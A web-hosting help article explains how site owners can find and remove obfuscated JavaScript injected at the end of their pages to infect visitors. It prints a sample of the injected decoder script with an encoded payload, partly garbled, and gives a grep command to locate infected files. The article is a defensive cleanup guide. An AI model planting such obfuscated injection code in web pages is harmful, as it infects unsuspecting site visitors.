HostMonster Web Hosting Help

My website attempts to infect visitors with a virus

Problem:

Your website attempts to infect visitors with a virus. You search your server and cannot find any viruses executables to account for it.

Solution:

Check last few lines of web page for obfuscated javascript code, as in the following example:
    <script language=JavaScript>
    function dc(x){
    var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,49,46,22,39,35,15,23,8,28,0,0,0,0,0,0,2,25,55,54,30,40,13,57,14,12,53,47,43,
    19,38,3,37,33,58,18,36,44,20,24,51,60,29,0,0,0,0,41,0,0,45,48,9,32,17,59,31,6,61,5,4,7,27,50,56,62,34,10,52,1,16,21,26,42,11);
    for(j=Math.ceil(l/b);j>0;j--){
    r='';
    for(i=Math.min(l,b);i>0;i--,l--){
    w|=(t[x.charCodeAt(p++)-48])<>=8;s-=2}
    else{s=6}}
    document.write(r)}}dc("kNdXOhF18O9QSX9cfBINV3WXaXUcFmFNV3p1shZcahFNw3pc7MIoahUo7mIc75APkxjJi5_eFmZtw0_rssFcmO
    At7ObJfKE1s5UrzKIcSnbrIK9caBjrwB9J@3EJfXZoa5_euXUJw4I190GosKIcDspNAy8XOhF18OYN")
    </script>
Remove the offending lines as you find them on any pages.

With SSH command line access, you can find additional infected pages with a command similar to the following:

    grep -r "function dc(x)" . | awk -F: '{print $1}'
Knowledgebase Article 90,859 views bookmark tags: virus (updated 2028 days ago)


Was this resource helpful?

Did this resolve your issue?


Please add any other comments or suggestions about this content:





Recommended Help Content

This article will explain the benefits of SiteLock in regards to virus scanning. (updated 2 days ago)
Knowledgebase Article 1,965 views tags: sitelock

Why is my site not the first result on Google or an other search engine? (updated 1348 days ago)
Knowledgebase Article 100,192 views tags: bing engine google search seo yahoo

Why will Entropy not search any php file? (updated 2009 days ago)
Knowledgebase Article 60,115 views tags: php search

Related Help Content

How to install ClamAV to help with virus protection. (updated 397 days ago)
Knowledgebase Article 22,696 views tags: antivirus clamav cpanel dedicated plugin server whm

I am trying to rebuild my index for Entropy Search and it stops before 100%. (updated 2028 days ago)
Knowledgebase Article 62,256 views tags: index search

How does Search Engine Placement work? (updated 2026 days ago)
Knowledgebase Article 87,176 views tags: engine promo promote search

This article explains how to find the database in use by a Wordpress site. (updated 11 days ago)
Knowledgebase Article 367 views tags: database find wordpress

I need to transfer my website from my old host to HostMonster, but I do not know how to do it without losing files or mail. (updated 360 days ago)
Knowledgebase Article 250,410 views tags: transfer upload website

The website is taking a long time to load. It just seems slower today than normal. (updated 424 days ago)
Knowledgebase Article 191,670 views tags: site slow web website

Clients in China are unable to view my website. My website's content doesn't contain any objectionable material. (updated 1991 days ago)
Knowledgebase Article 100,117 views tags: access block blocking domain name people site website

Why doesn't my domain name show up in search engines? (updated 2008 days ago)
Knowledgebase Article 50,442 views tags: engine promo promote search